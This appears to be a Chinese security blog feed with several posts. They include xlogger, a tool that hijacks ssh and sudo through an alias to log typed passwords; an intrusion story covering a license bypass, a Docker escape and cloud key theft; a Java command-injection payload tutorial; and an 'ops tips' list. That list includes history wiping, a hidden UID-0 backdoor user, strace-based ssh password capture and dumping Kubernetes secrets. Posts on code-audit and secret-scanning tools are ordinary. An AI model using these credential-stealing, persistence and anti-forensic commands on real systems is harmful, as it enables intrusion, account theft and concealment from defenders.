Medi0cr1ty

xlogger - 劫持任意程序的键盘输入&终端日志

Fri, 19 Sep 2025 23:01:00 +0800

原创 Nobody 2025-09-19 23:01 北京

xlogger：劫持任意程序的键盘输入和执行结果的日志。

xlogger

劫持任意程序的键盘输入和执行结果的日志。

You Know, for secret hijack.

使用

SSH Client 密码劫持

export XPROGRAM="/usr/bin/ssh"
export XLOGFILE="/var/log/ssh-hijack.log"
alias ssh='/path/to/bin/xlogger'
ssh root@server.com

# ssh密码以及所有给ssh的输入将记录到/var/log/ssh-hijack.log

SUDO 用户密码劫持

export XPROGRAM="/usr/bin/sudo" 
export XLOGFILE="/tmp/.xlogger.log"
alias sudo='/path/to/bin/xlogger'

sudo -s
whoami
# sudo -s切用户时输入的密码将记录到/tmp/.xlogger.log

劫持任意程序

一些场景下，想知道目标程序都干了些什么，命令行参数是什么，输出是什么，比如劫持bash当个临时hids使用...

# 用xlogger替换掉目标程序
mv /usr/bin/anyapp /usr/bin/anyapp-backup
export XPROGRAM="/usr/bin/anyapp-backup" 
export XLOGFILE="/var/log/app.log"
mv /path/to/bin/xlogger /usr/bin/anyapp

后续/usr/bin/anyapp的所有被调用记录将保存到/var/log/app.log，如果不想使用环境变量或者需要命令执行的结果可以修改代码

代码配置

如果不想用环境变量，也可以改代码里的默认值：

#define DEFAULT_XPROGRAM "/usr/bin/sudo"     // 默认程序
#define DEFAULT_XLOGFILE "/tmp/.xlogger.log" // 默认日志位置

static int log_keyboard_input = 1;           // 是否记录键盘输入
static int log_console_output = 0;           // 是否记录程序输出

编译

快速开始

make help
make deps

make

手动编译

gcc -Wall -Wextra -std=c99 -O2 -o xlogger xlogger.c -lutil

日志格式

日志默认保存在 /tmp/.xlogger.log，格式如下：

========= New session started ======
cmdline: /usr/bin/sudo -s
------------------------------------
[2025-09-19 22:12:47] INPUT: yourpincode
[2025-09-19 22:12:55] INPUT: id
=== Session ended with status: 0 ===

========= New session started ======
cmdline: /usr/bin/ssh root@server.com -p 2048 
------------------------------------
[2025-09-19 22:12:47] INPUT: yoursshpassword
[2025-09-19 22:13:01] INPUT: whoami
[2025-09-19 22:13:01] OUTPUT: root
=== Session ended with status: 0 ===

工具地址

https://github.com/TheKingOfDuck/xlogger

阅读原文

跳转微信打开

元旦快乐｜SinkFinder更新2.0版本

Wed, 01 Jan 2025 23:48:00 +0800

原创 medi0cr1ty 2025-01-01 23:48 北京

祝元旦快乐！根据反馈更新一版 :D

欢迎反馈～

元

旦

WINTER

更新啦～

SINK规则方法名支持正则
查找引擎优化
LLM结果输出优化
路径支持多个

结果存储变化

- Date_HighLLMRisk 开头的文件：已过滤 source + LLM判断>7分的路径

- Date_LLMDetail.md 文件：大模型结果

- Date_Risk 开头的文件：已过滤 source 的路径

- Date_OtherRisk 开头的文件：未走到 source 的 Sink 结果

SINK 方法名支持正则

- rules.json 文件 Sink 方法名支持正则配置。但注意：不支持"()"符号，因为与方法参数支持的()冲突。

ref: https://github.com/Phelaine/SinkFinder

阅读原文

跳转微信打开

渗透测试从“入狱”到“越狱”

Sun, 08 Dec 2024 18:59:00 +0800

原创 medi0cr1ty 2024-12-08 18:59 荷兰

记一次黑盒测试打坏目标系统“入狱”到docker逃逸并修复实现“越狱”的日站过程，提醒大家日站需谨慎，不然亲人两行泪～

记一次黑盒测试打坏目标系统“入狱”到docker逃逸并修复实现“越狱”的日站过程。提醒大家日站需谨慎，不然亲人两行泪～

Part.01

起

在测试时某公网系统发现弱口令，登陆上去后发现是一个设备管理类系统。第一时间锁定到一个上传接口，测试发现可以实现任意目录任意文件写。

尝试向其 ssh 目录写 ssh key，写计划任务发现均未成功。

springboot项目，参考前人思路尝试利用懒加载向 JDK 目录写入 charsets.jar ，但并未触发成功，起初无法确定是权限低还是 jdk 目录没写对，后续通过别的功能列目录确认 charsets.jar 写入成功，仍未执行猜测是已经加载过了。

Part.02

承

写文件的点无思路后转向其他功能，发现了任意文件读，列目录等，可惜测试随手试了下lic文件上传的点，传完整个系统所有页面就直接提示lic无效，也就是说手贱一下把别人系统打坏掉了......成功入狱- ^ -。

发现读文件和列目录以及测lic的过程是同步的，并未先把代码读到本地，事情陷入僵局。此刻漏洞也已经不是最重要的了，想办法恢复lic，让该系统正常运转才是重点。

扫描目标服务器的其他端口，发现除了22以及目标端口外，并未开放其他服务，爆破ssh未果，重新回到目标服务的测试上，从以往白盒的经验上来看，lic检查和登陆态检查一样，不应该所有路径都限制死，肯定有加白的路径，或者验证方式有问题，那就还有戏。

经过一顿黑盒 fuzz 方式发现和猜想一致，使用/static/..;/ 可绕过部分接口的lic检查，此前读写文件，列目录的接口也在范围内！

利用之前的点火速下载目标代码，验证该代码lic上传处的逻辑也很粗鲁，正常逻辑应该是先校验通过再覆盖原本的lic文件，而这个项目是先覆盖后校验，这也是直接导致系统被打坏的原因。同时也看到校验逻辑处确实通过 startWith 方式判断可导致绕过。

进一步在代码中看到 License 验证的逻辑：

在 Filter 中验证 license ，从 license 文件中取得机器码、 mac 地址与本地获取的验证判断。

license 文件中机器码、mac地址可通过某接口构造出 json 写入，这两个字段的值通过代码里逻辑发现可读固定目录文件获取到。

那我们已经有目标系统的任意文件读写的接口，有代码，按照校验逻辑反向编写lic生成代码即可，感觉恢复lic在望？

但... 实际测试时发现，读机器码：/sys/class/dmi/id/product_serial 文件时

apache commons io组件报错：Unexpected read size. current: 37, expected: 4096 。预设的 buffer 缓冲值是 4096，而实际文件长度只读到 37 ，导致读取失败.... 奇怪的bug。

随后琢磨了这个文件的内容生成的逻辑，有无可能通过别的信息组合算出来等思路，尝试均无果。

Part.03

转

进一步代码分析并未发现其他可以恢复lic的点，将目标重新放回到机器本身，通过列文件的点仔细分析整个系统，期望找到某个会定时运行的脚本之类的功能实现rce。

重新列项目数据目录时注意到有docker-compose yml 文件，按理构建容器的文件不该出现在容器里面，读取后发现其将物理机的计划任务目录映射到了数据目录的 cron目录下：

天赐逃逸！

Part.04

合

写计划任务逃逸到物理机，然后重新进入容器，读取到机器码，按照检验算法构造出 Lic 并恢复了系统正常使用，越狱成功！

同样的漏洞还打了另外几台机器，也在其中一台机器的其历史命令中翻到 aksk，发现可控多个 ECS、OSS ，测试过程发生在非工作时间，也未有系统 lic 过期的投诉，到此整个过程告一段落。

后续分析了下common io读取product_serial文件失败原因，此类文件是系统自动生成的虚拟文件，在linux系统中默认文件的块大小为4096，但由于没有自动填充与实际大小差异部分的字符串，导致common io获取预期和实际读取的字节数量不一致，进而导致报错。

阅读原文

跳转微信打开

SinkFinder - 版本更新+LLM能力

Sun, 01 Dec 2024 13:46:15 +0800

原创 medi0cr1ty 2024-12-01 13:46 荷兰

集成LLM能力

更新内容

更新入口 Source 点判断
集成 LLM 能力
其他缓存优化

1. Source 点判断

webx 入口实现 com.alibaba.citrus.service.pipeline.Valve 的接口；
servlet 入口继承自 javax.servlet.Servlet 类
实现接口包含 Filter/Interceptor
spring入口存在 Controller/RestController 注解

2. LLM 能力集成

接入通义能力
将攻击链&上下文代码逻辑提供给大模型，让他给出该路径可信分数，判断主要考虑：是否输入流可最终到达 sink 点；是否存在安全限制，绕过可能性

3. 代码链接

https://github.com/Phelaine/SinkFinder

欢迎交流&反馈！

阅读原文

跳转微信打开

代码审计系列之java命令注入科普

Fri, 12 Jul 2024 23:33:00 +0800

原创 medi0cr1ty 2024-07-12 23:33 北京

关于java命令注入Runtime/ProcessBuilder接口的科普

写在前面

这里只讨论使用java执行命令的情况(Runtime/ProcessBuilder),结合之前挖过过的一些case或者群里见到过的case来讲。

名词科普

命令解释器shell：是一种软件程序(可视作一门编程语言的代码解释器)，它接收用户在命令行界面输入的指令和参数，并将其转换为计算机可理解和执行的操作。如unix系统常见的sh,bash,dash,zsh，windows常见的cmd.exe

命令注入：是指攻击者通过在输入字段中恶意插入系统命令，利用应用程序对用户输入的不当处理，从而让系统执行这些恶意命令，达到获取敏感信息、控制服务器等非法目的。

原理科普

Java的命令执行之所以“特殊”，根本原因jdk中提供的命令执行的接口Runtime或ProcessBuilder默认没有套命令解释器，所以输入& | ; $() ``这类shell的表达式语法并不会被解释并执行，因为java并没有去解释这些表达式。

这个怎么理解呢，就好比下面的python代码你在终端你加了python3这个代码解释器去执行他能执行，你不加，直接丢给shell去执行，他也没法执行。是一样的道理。

python3 -c "import sys;print(sys.version)"

那为什么像php,python这类语言的命令执行就可以默认拼接呢？因为他底层默认就套了命令解释器。是不是除了java其他的都套了解释器?当然也不是，比如golang就没有，所以大胆预测一波，等golang真正大面积走进这些安全专家的视线里，同样的问题还会被重复提及。

回到Java命令注入的科普上，Runtime.exec的入参可以是一个字符串或者字符串数组作。ProcessBuilder则是数组或可变参数。Runtime.exec实际上是调的ProcessBuilder，ProcessBuilder只要不套解释器的情况下，命令注入的可能性会非常低，所以这里重点说Runtime.exec。

Runtime.exec的入参有下面这些:

入参为String的时候会使用空格以及\t\n\r\f做切割成数组：

public Process exec(String command,String[] envp,File dir)throwsIOException{if(command.length()==0)thrownewIllegalArgumentException("Empty command");StringTokenizer st =newStringTokenizer(command);String[] cmdarray =newString[st.countTokens()];for(int i =0; st.hasMoreTokens(); i++)            cmdarray[i]= st.nextToken();returnexec(cmdarray, envp, dir);}public StringTokenizer(String str){this(str," \t\n\r\f",false);    }

然后交ProcessBuilder继续执行，最终根据不同环境调不同的原生方法启动,其中cmdarray[0]也就是数组中第一个的作为真正需要执行的程序来执行。

public Process exec(String[] cmdarray,String[] envp,File dir)throwsIOException{returnnewProcessBuilder(cmdarray).environment(envp).directory(dir).start();}
#pb.start()    static Process start(String[] cmdarray,                         java.util.Map environment,String dir,ProcessBuilder.Redirect[] redirects,boolean redirectErrorStream)throwsIOException{...
return new UNIXProcess(toCString(cmdarray[0]),             argBlock, args.length,             envBlock, envc[0],             toCString(dir),                 std_fds,             redirectErrorStream);}finally{...}}
UNIXProcess(finalbyte[] prog,finalbyte[] argBlock,finalint argc,finalbyte[] envBlock,finalint envc,finalbyte[] dir,finalint[] fds,finalboolean redirectErrorStream)throwsIOException{        pid = forkAndExec(launchMechanism.ordinal()+1,                          helperpath,                          prog,                          argBlock, argc,                          envBlock, envc,                          dir,                          fds,                          redirectErrorStream);try{            doPrivileged((PrivilegedExceptionAction)()->{                initStreams(fds);returnnull;});}catch(PrivilegedActionException ex){throw(IOException) ex.getException();}    }

所以如果你传入的是sh -c "whoami;ls"那么java执行的第一个程序实际上sh而不是whoami或ls,sh执行后再根据自己的逻辑将whoami;ls切割并顺序启动，可以理解为whoami和ls是sh的子进程，sh是java的子进程; 如果传入的是"whoami&&ls"，java无法切割也不做解析,那么ls则不会作为第二个程序去执行，而是"whoami&&ls"这整个字符串作为一个程序去执行，环境中找不到这个文件，自然就会无法执行，进而一条都执行不成功。

注入科普

前面基础科普讲完了，那么就是注入技巧的问题了。在无前置过滤的情况下：

套了命令解释器的拼接可执行

String cmd = "whoami;id";Runtime.getRuntime().exec(String.format("bash -c %s",cmd));

不套的拼接不可执行。

String cmd = "whoami;id";Runtime.getRuntime().exec(String.format("xxxx %s",cmd));

但可以考虑污染前面的xxx程序的参数，间接实现rce。比如执行程序是curl的时候可以通过-o参数写文件实现间接rce

cmd = "http://www.baidu.com -o /tmp/baidu";Runtime.getRuntime().exec(String.format("curl %s",cmd));

再比如find的-exec参数，玩法比较多样，也有没得玩的时候。

遇到的大多数情况类似，这种直接在host中拼接执行的，可控的部分不作为sh的参数来输入，而是作为deploy.sh这个程序的参数来输入，这个但凡写过几行python就不用说也能理解。所以有没有可能rce取决于你的程序本身(deploy.sh)，而不是sh

String deployCmd = "sh deploy.sh " + host ;Runtime.getRuntime().exec(deployCmd);

再讲个特殊情况，某群里看到的case，群友用来面试别人的面试题，猜测他预期的答案就是上面这种情况，让别人回答去审计"login.sh"这个程序。

可如果代码真如图所示的话，真的是这么做吗？能rce吗？需要审计login.sh吗？

我认为不需要，因为login.sh后面没有空格就直接拼接了，拼接完后的文件名复杂化，大概率不存在，或文件内容不可控，审计个der。后面的参数又没办法作为sh的参数进行污染。

怎么rce呢？很简单，想办法控制sh执行的文件指向一个存在“漏洞”或者说命令执行行为的sh文件，再污染他的参数即可。

find / -type f -exec file {} + | grep "shell script"

很容易就看到/usr/bin/command这条命令实际上是一个bash脚本，语句做下简单的闭合即可完成命令注入。

String payload = "/../../../../../../../../../../../../../../../../../../../usr/bin/command bash -c 'id";String cmd = "sh login.sh'" + payload + "'";Runtime rt = Runtime.getRuntime();rt.exec(cmd);

嗯，没错，有限制条件，就是得找个可以创建文件夹的点配合利用，在当前文件夹下创建login.sh'这个目录，否则unix下../是没办法跨域过一个不存在的文件夹的。

写在最后

这个有问题隔三差五就会在各个安全的群里看到有人问，成月经问题了。

它很基础吗? 这个但凡挖过几次实战使用洞的人都肯定会知道。

它不基础吗? 见过一堆搞了好多年了sdl的人讨论的时候将拼接后不能执行归咎于沙箱,归咎于rasp(环境中其实没这两因素); 也见过某些大厂的安全中台给别人出的考试题目里告诉研发没命令解释器执行ping命令也存在命令注入的风险。更别说群里问的新手(这种勉强可以理解)

我的总结是，大部分人没有挖洞不需要实战，唬住研发和leader就行，不需要验证，自然就不会知道。

阅读原文

跳转微信打开

扫描器开发系列之敏感信息提取

Fri, 05 Jul 2024 21:56:00 +0800

原创 duckbubi 2024-07-05 21:56 北京

0x01 写在前面整体思路：在扫描器的上层代理(使用proxify)做流量镜像储存到es,通过kb做可视化,方

0x01 写在前面

整体思路：在扫描器的上层代理(使用proxify)做流量镜像储存到es,通过kb做可视化,方便做扫描器整体的流量回溯,敏感信息识别等(使用trufflehog)

1. 这是剥离出来,通用的方案。如果自己的扫描器需要缝合proxify和trufflehog的话,还有非常多的bug fix的活得干,当然也可以选择将结果输出至自己的系统即可。
2. 该方案一行代码也不需要写(bash不算.)

0x02 方案介绍

ES部署

密码根据自己的需求设置，版本需要选择7.x是因为proxify用的依赖也是7.x的版本，如果需要用更高版本的需要自己修改并重新编译下proxify

docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 \ -e "discovery.type=single-node" \ -e "xpack.security.enabled=true" \ -e "ELASTIC_PASSWORD=jjfujj" \ docker.elastic.co/elasticsearch/elasticsearch:7.17.10

proxify配置‍‍‍‍‍‍‍‍‍‍

选择0.0.13版本,新版本bug挺多,选新版本需要自己fix下。

https://github.com/projectdiscovery/proxify/releases/tag/v0.0.13

配置proxify流量储存到es

❯ cat ~/.config/proxify/export-config.yamlkafka: addr:"" topic:""elastic: addr:"127.0.0.1:9200" ssl:false ssl-verification:false username:"elastic" password:"jjfujj" index-name: "jj"

启动

./proxify -store-resposne=/tmp/proxify_logs/

trufflehog配置

下载最新版即可,他是支持直接扫描es的,支持的es是8.x,和上面冲突,且es扫描也有bug需要修,这也是上面为什么让proxify吐出来一份响应的原因。

https://github.com/trufflesecurity/truffleHog

敏感信息扫描以及通知

./trufflehog filesystem /tmp/proxify_logs/ --no-verification --json | jq -r -c '{rule_name:.DetectorName,data:.Raw,filepath:.SourceMetadata.Data.Filesystem.file}' | while read result; do curl -H "Content-Type: application/json" -d $'{"msgtype":"markdown", "markdown":{"content":"bingo:'"${result//\"/\\\"}"'"}}' 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=XXXXXXX'; done

定时通知扫描并清理proxify日志

*/2 * * * * /path/to/trufflehog.sh*/2 * * * * find /tmp/proxify_logs/ -type f -mmin +5 -exec rm -f {} \;

可视化

docker run -d -p 5601:5601 -e "ELASTICSEARCH_USERNAME=elastic" \ -e "ELASTICSEARCH_PASSWORD=jjfujj" \ --link elasticsearch:elasticsearch \ docker.elastic.co/kibana/kibana:7.17.10

0x03 功能验证

trufflehog提供了非常多敏感信息验证代码

cd trufflehog/pkg/sources/

python3 -m http.server 8889

#测试浏览走proxify代理进行验证‍‍‍‍‍

curl -x 'http://127.0.0.1:8888' 'http://127.0.0.1:8889/git_test.go'

后续所有接口重放/漏洞扫描的流量走proxify的代理即可

0x04 写在后面

• 需要大量正则匹配(性能消耗)的工作放到端上做对日站的体验影响非常大,非常难受。
• 修别人的bug真难受,需求不复杂的话不如自己造轮子。
• 实际上开发/运维领域有很多现成的系统也可以完成该需求，不过对于这样一个小的需求来说，过于臃肿了，规则维护也比较麻烦。

阅读原文

跳转微信打开

对抗小技巧: IOS环境下支付宝小程序源码的提取

Fri, 05 Jul 2024 21:56:00 +0800

原创 duckbubi 2024-07-05 21:56 北京

IOS环境下支付宝小程序源码的提取

简要说明

• 需要有巨魔/越狱环境,以及类似Filza这样的工具。
• 和常见的安装包一样，此源码非彼源码，是压缩混淆后产出。
• 安卓环境参考：https://www.52pojie.cn/forum.php?mod=viewthread&tid=1050690 是否仍效未经过验证。

操作方法

1.找到支付宝的应用目录，参考Filza的->收藏夹->App管理器->App

/var/mobile/Containers/Data/Application/UUID/

2.小程序的tar实际上可以在应用目录下

./Documents/NAMAPP_UNZIP/

找到，但这里的命名全是hash,用完也就无了。

3.找到应用目录下的

/Documents/NebulaAppBiz/xriver.db

,导入电脑打开或Filza执行sql

SELECT name,package_url FROM "main"."nebulax_resource_app_table" WHERE name = '小程序名称'

本质上就是一个tar，下完解压一下即可。

写在后面

没啥好说的，有需求单没现成的文章供参考，顺手定位一下，顺手分享经验。

阅读原文

跳转微信打开

SinkFinder - 闭源系统半自动漏洞挖掘的尝试

Mon, 24 Jun 2024 00:25:00 +0800

原创 medi0cr1ty 2024-06-24 00:25 中国香港

SinkFinder，一个用于实战场景中快速找到 sink 点及上层代码逻辑链路的半自动化漏洞挖掘工具。

本文主要分享初版的实现思路，后台回复“sinkfinder”即可获取 jar 包，欢迎反馈及交流。

工具定位

SinkFinder 专注于根据 Sink 规则找上层调用关系，相较于其他工具明显的优势在于短平快，适合时间紧张场景。

SinkFiner 工具实现思路概括即：

首先递归读取 jar / war / zip 中所有 class 节点数据，通过 ASM API 以深度优先遍历的方式找到 sink 点在项目中所有可能触达的路径，sink 点路径存储在本地文件。

在实现过程中考虑到效率等因素，可自定义配置文件路径、jar 包、class 黑白名单，以及 sink 规则。

工具实现

自定义规则 rules.json 中配置：

递归深度
黑白名单：目录路径、jar 名、class 类名
sink 规则配置："类名:方法名[(参数;)]"

同时为了灵活使用，在工具运行时支持参数配置：

-ci、-ji ：class 、jar 的白名单配置
-s ：sink 规则自定义，同时为了更精准的匹配，支持添加方法参数，如：

org.test.SerializationUtils:deserialize(Ljava/io/InputStream;)

-scb ：禁用某类别的规则，如：Fastjson

代码实现

大体实现思路为两步：第一步录入class，第二步通过 sink 找路径。

3.1

录入

首先将项目中所有 java class 文件读入并转为 ClassNode 。

这里以 ClassName 为键、ClassInfo 为值存入 ClassRepo 静态属性 classes 中。

ClassInfo 中属性包括类节点 ClassNode 、方便找类出处的 jar 包名、以及该类所有子类，方便后期直接查找。

录入有个点需要考虑，一个 jar 中嵌套多个 jar ，即 fatjar ，由于所有的 class 文件都要读入，所以需递归读。

3.2

查找

基于第一步中读入的 ClassRepo ，第二步在 ClassRepo 中找到所有可能触达 Sink 点的路径。

第一层遍历 ClassRepo 中的 classes 。为了减少不必要路径查找增加效率，通过配置加载的 class 黑白名单可限制查找范围（读入的时候也可通过 jar 、文件名来限制）。

第二层遍历 ClassNode 中所有的方法调用指令节点。

这里遍历通过数据结构 WrapperNode 实现：

由于递归查找下一层时需要当前方法调用节点的类节点及方法节点组成下一层查找的规则。所以 WrapperNode 中包括类节点、方法节点，以及方法调用指令节点。

第二层遍历时，通过 sink 规则对应 MethodInsnNode 中 owner 、name、desc 进行匹配。

如果匹配上，则将该节点的类名及方法名存入 ArrayList 中，并代入递归调用第一层的类节点循环。

如果没有匹配上或者判断为自循环调用（防死锁），则跳过该方法调用节点，到下一个方法调用节点的循环中。

结束递归两种方式：

到达指定的最大递归层数；
没有上层调用点。

两层遍历简单示意图 😈

具体代码实现：

在实现过程的小坑点：

在查找的过程中，因为 java 继承、接口实现等，项目中的方法调用可能不是直接调用，而是通过动态调用，如调用某个子类的方法，而该方法的实现在其父类中。

这种方式需要在查找时考虑当前方法调用节点 MethodInsnNode 的 owner 是否为当前层 sink 的子类/接口类，如果是，则判断存在调用关系。

如下图， A 继承自 B ，C 中某个方法调用了 A 的 test 方法，此时若 sink 为 B 的 test 方法，应将 C.METHOD 记录下来，并进入下一层查找。

接口类亦是如此，只是反过来，若 A 实现 B 接口，C 中某方法调用 B.test ，此时若 Sink 点为 A.test ，同样应将 C.METHOD 记录下来，进入下一层。

第2版优化

这种方法实现的 SinkFinder 有天然劣势即不确定参数是否由上层传递而来，仅判断调用路径。第二版支持了通过正向数据流污染与 Hook 验证，来保证参数触及到的路径为最终漏洞路径，但有利也有弊，sink链路确定性大幅提升的同时牺牲了效率，逐步偏向于 SDL 流程化的非实战场景。

目前分享第一版，回复“sinkfinder”即可获取，喜欢的话点个赞，谢谢～🌸

阅读原文

跳转微信打开

对抗小技巧: 一些实用的运维命令

Sat, 22 Jun 2024 15:26:00 +0800

原创 Nobody 2024-06-22 15:26 北京

运维小技巧

本来只是打算发几条实用命令，字数太少了干脆从笔记里面随便再捞几条放进来凑数2333

命令补全


iterm2 + zsh + autosuggestions

多终端历史命令同步

指定zsh写入的历史命令的路径，配合autosuggestions实用，对设备多的人来说非常实用


#历史命令的
HISTFILE="$HOME/Library/Mobile Documents/com~apple~CloudDocs/zsh/.zsh_history" 
 #记录历史命令条数
HISTSIZE=100000
SAVEHIST=100000
setopt appendhistory

同样的

$HOME/.ssh/

，

$HOME/.kube/

一类的文件夹也可以配置自动同步

隐藏命令记录

入门


set +o history

进阶


export HISTFILE=/dev/null

高级


unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

清除指定行历史命令

清除540行到566行。


for h in $(seq 540 566 | tac); do history -d $h; done; history -d $(history 1 | awk '{print $1}')

代理切换

alias(别名) 非常实用


alias proxy="export ALL_PROXY=http://127.0.0.1:8080"
alias noproxy="export https_proxy= http_proxy= all_proxy="
alias ips="export all_proxy=\"socks5://xxxx:xxxx@proxypool:80\""

替换jenv:


alias jdk6="export JAVA_HOME=/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home"
alias jdk7="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home"
alias jdk8="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_151.jdk/Contents/Home"
alias jdk9="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-9.0.4.jdk/Contents/Home"
alias jdk10="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-10.0.2.jdk/Contents/Home"
alias jdk11="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-11.0.1.jdk/Contents/Home"
alias jdk12="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-12.0.1.jdk/Contents/Home"
alias jdk13="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-13.jdk/Contents/Home"
alias jdk14="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-14.0.1.jdk/Contents/Home"
alias jdk15="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-15.jdk/Contents/Home"

禁止HOMEBREW自动更新

避免brew安装/更新程序是自动更新其他程序


export HOMEBREW_NO_AUTO_UPDATE=true

二进制程序统一管理

所有编译好的工具可以统一丢到这目录，无需在alias去链接程序绝对路径，同样也可以配置iCloud自动同步。


export PATH=$PATH:/Users/$HOME/tools/bintools/

当前IP查看

内外网ip


ip(){
  echo -e "\e[32m[+] 内网:\e[0m"
  ifconfig|grep "inet "|awk -F ' ' '{print $2}'
  echo -e "\n\e[31m[+] 公网:\e[0m"
  curl cip.cc -s | tr -s '\n' '\n'
}
ip

文件备份1


cd /tmp
wget https://gosspublic.alicdn.com/ossutil/1.7.13/ossutil64 -O hulk
chmod +x hulk
echo "你的配置"|base64 -d > /tmp/.hulk
./hulk -c /tmp/.hulk cp /hulk.zip oss://xxxx/hulk.zip
rm -rf /tmp/.hulk

文件备份2

curl http://xxx:58000/upload -X POST -F 'file=@/tmp/pods'


➜  ~ cat upload.py
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    if ".." in file.filename:
        return 'fuck u'
    else:
        file.save(file.filename)
        return 'File saved successfully'
if __name__ == '__main__':
    print("curl http://xxx:58000/upload -X POST -F 'file=@/tmp/pods'")
    app.run(debug=True, host='0.0.0.0', port=58000)

linux整机备份

备份


dd if=/dev/vda of=/path/to/backup.img bs=4M

还原


dd if=/path/to/backup.img of=/dev/vda bs=4M

备份到远程


dd if=/dev/vda bs=4M | gzip -c | ssh root@xxxx "cat > /tmp/xxx_backup.img.gz"

还原:


gunzip -c xxx_backup.img.gz > xxx_backup.img
dd if=xxx_backup.img of=/dev/vda bs=4M

docker备份


所有的
docker ps -a --format "table docker export -o {{.Names}}.tar {{.ID}}"|grep -v NAMES |bash
仅在允许的
docker ps --format "table docker export -o {{.Names}}.tar {{.ID}}"|grep -v NAMES |bash

判断存在指定文件的docker容器


docker ps -q | xargs docker inspect -f '{{.Name}} {{.State.Running}}' | grep true | cut -c2- | awk '{print "docker exec "$1" [ -f /home/s/www/xxxx.png ] && echo "$1" has this file"}' | sh
trantor-fe has this file
docker ps -q | xargs docker inspect -f '{{.Name}} {{.State.Running}}' | grep true | cut -c2- | awk '{print "docker exec "$1" [ -f /lib/ld-musl-x86_64.so.1 ] && echo "$1" has this file"}' | sh

无netstat看网络连接

单项


grep -v "rem_address" /proc/net/tcp  | awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
} {x=hextodec(substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."hextodec(substr($2,i,2))}{print x":"hextodec(substr($2,index($2,":")+1,4))}'

双向


awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
}
function getIP(str,ret){
    ret=hextodec(substr(str,index(str,":")-2,2));
    for (i=5; i>0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
}
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp

Linux一条命令添加用户


useradd -p `openssl passwd -1 -salt 'salt' P@ssw0rd` ibm2 -o -u 0 -g root -G root -s /bin/bash -d /home/guest

ssh密码备份


alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

查看sa权限


cd /run/secrets/kubernetes.io/serviceaccount/
curl --cacert $PWD/ca.crt --header "Authorization: Bearer $(cat $PWD/token)" -H 'Content-Type: application/json' -i -s -k -X 'POST' --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}' https://$KUBERNETES_SERVICE_HOST:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews

etcd备份


etcdctl --endpoints=http://xxxx:2379 snapshot save sec.db

k8s备份


kubectl get namespaces -o name > namespaces.txt
kubectl get all --namespace=default -o yaml > default-namespace-resources.yaml
kubectl get clusterroles -o yaml > clusterroles.yaml
kubectl get clusterrolebindings -o yaml > clusterrolebindings.yaml
kubectl get deployments --all-namespaces -o yaml > deployments.yaml
kubectl get configmaps --all-namespaces -o yaml > configmaps.yaml
kubectl get secrets --all-namespaces -o yaml > secrets.yaml
kubectl get pods --all-namespaces -o yaml > pods.yaml
kubectl get serviceaccounts --all-namespaces -o yaml > serviceaccounts.yaml
kubectl cluster-info dump > cluster-info.log

查找高权限sa


kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.serviceAccountName}{"\t"}{.spec.nodeName}{"\n"}{end}'

kubectl安装


curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/k
k auth can-i --list

命令执行不出网


Windows
for /f %i in ('dir /s /b e:index.js') do (echo %i> %i.test.txt)%26(ipconfig > %i.ipconfig.txt)"
linux
find / -name index.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done

ssh端口转发


ssh -L 本地端口:目标主机:目标端口 uesr@host [-N]
ssh -L 5432:192.168.60.110:5432 sysadm@192.168.60.110 -p 2222

阅读原文

跳转微信打开

甲方安全建设系列之 HTTP 资产清洗

Mon, 27 May 2024 23:25:00 +0800

原创 duckbubi 2024-05-27 23:25 北京

这里的讨论的资产特指在黑盒视角下被动采集到的数据，比如来自waf、网关、被动代理等http请求日志所对应的资产，并不是主动扫描所发现的domain/ip + port + urlpath这种资产，清洗的结果也主要用于被动扫描，而非主动扫描。

写在前面

21年的时候在博客简单分享过粗略的思路，本文是对前文的补充。

资产定义

不同于白盒的可以直接解析代码获取路由，灰盒中的注入 AbstractHandlerMethodMapping 里面拿完整的接口类的思路，黑盒视角来看，我认为只要后端的处理逻辑不同，哪怕是在同一个方法中，也是不同的资产，每个逻辑都应该覆盖扫描到。举个例子，下图代码中虽然在一个方法中，但代码根据 action 参数值的不同指向了不同的处理逻辑，黑盒中我认为是三条不同的资产。

